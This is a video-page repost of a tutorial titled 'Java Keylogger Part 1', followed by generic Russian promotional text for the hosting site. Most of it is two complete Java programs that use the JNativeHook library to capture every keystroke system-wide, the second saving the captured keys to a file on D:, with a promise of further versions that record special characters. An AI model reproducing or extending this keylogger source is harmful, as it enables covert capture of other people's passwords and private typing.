Java Keylogger Part 1 смотреть онлайн
After processing video every time it got shaky :(
Download Jnativehook library from here - https://github.com/kwhat/jnativehook/releases
Code 1 - This is simple code it will just show you every key pressed and when you press ecape it will exit
*****************************************************************************************************************
import java.io.File;
import java.io.FileWriter;
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
/**
* @author javaQuery
* Global Keyboard Listener
*/
public class Keylogger implements NativeKeyListener {
/* Key Pressed */
public void nativeKeyPressed(NativeKeyEvent e){
System.out.println("Key Pressed: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
/* Terminate program when one press ESCAPE */
if (e.getKeyCode() == NativeKeyEvent.VC_ESCAPE) {
try{
GlobalScreen.unregisterNativeHook();
}catch(Exception ef){}
}
}
/* Key Released */
public void nativeKeyReleased(NativeKeyEvent e) {
//System.out.println("Key Released: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
}
/* I can't find any output from this call */
public void nativeKeyTyped(NativeKeyEvent e) {
// System.out.println("Key Typed: " + e.getKeyText(e.getKeyCode()));
}
public static void main(String[] args) throws Exception{
try {
/* Register jNativeHook */
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
/* Its error */
//System.err.println("There was a problem registering the native hook.");
//System.err.println(ex.getMessage());
System.exit(1);
}
/* Construct the example object and initialze native hook. */
GlobalScreen.addNativeKeyListener(new Keylogger());
}
}
Code 1 ends
Code 2 - This code consists of saving key pressed to a file and then exit when escape is pressed
*****************************************************************************************************************
import java.io.File;
import java.io.FileWriter;
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
/**
* @author javaQuery
* Global Keyboard Listener
*/
public class Keylogger implements NativeKeyListener {
/* Key Pressed */
String s;
public void nativeKeyPressed(NativeKeyEvent e){
System.out.println("Key Pressed: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
s=s+NativeKeyEvent.getKeyText(e.getKeyCode());
/* Terminate program when one press ESCAPE */
if (e.getKeyCode() == NativeKeyEvent.VC_ESCAPE) {
try{
File f = new File("D:\\keys.txt");
FileWriter fw=new FileWriter(f);
fw.write(s);
fw.close();
GlobalScreen.unregisterNativeHook();
}catch(Exception ef){}
}
}
/* Key Released */
public void nativeKeyReleased(NativeKeyEvent e) {
//System.out.println("Key Released: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
}
/* I can't find any output from this call */
public void nativeKeyTyped(NativeKeyEvent e) {
// System.out.println("Key Typed: " + e.getKeyText(e.getKeyCode()));
}
public static void main(String[] args) throws Exception{
try {
/* Register jNativeHook */
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
/* Its error */
//System.err.println("There was a problem registering the native hook.");
//System.err.println(ex.getMessage());
System.exit(1);
}
/* Construct the example object and initialze native hook. */
GlobalScreen.addNativeKeyListener(new Keylogger());
}
}
Code 2 ends
The problem with the code is it will not simply record special characters like !@#$%^&*( etc, For recording special characters use shift key and then get keycode so when shift is pressed and number keys record them as !@#$%^&*() by creating a switch statement. Do not worry I will make another video for this purpose only. Enjoy :)
Что делает видео по-настоящему запоминающимся? Наверное, та самая атмосфера, которая заставляет забыть о времени. Когда вы заходите на RUVIDEO, чтобы посмотреть онлайн «Java Keylogger Part 1» бесплатно и без регистрации, вы рассчитываете на нечто большее, чем просто загрузку плеера. И мы это понимаем. Контент такого уровня заслуживает того, чтобы его смотрели в HD 1080, без дрожания картинки и бесконечного буферизации.
Честно говоря, Rutube сегодня — это кладезь уникальных находок, которые часто теряются в общем шуме. Мы же вытаскиваем на поверхность самое интересное. Будь то динамичный экшн, глубокий разбор темы от любимого автора или просто уютное видео для настроения — всё это доступно здесь бесплатно и без лишних формальностей. Никаких «заполните анкету, чтобы продолжить». Только вы, ваш экран и качественный поток.
Если вас зацепило это видео, не забудьте взглянуть на похожие материалы в блоке справа. Мы откалибровали наши алгоритмы так, чтобы они подбирали контент не просто «по тегам», а по настроению и смыслу. Ведь в конечном итоге, онлайн-кинотеатр — это не склад файлов, а место, где каждый вечер можно найти свою историю. Приятного вам отдыха на RUVIDEO!
Видео взято из открытых источников Rutube. Если вы правообладатель, обратитесь к первоисточнику.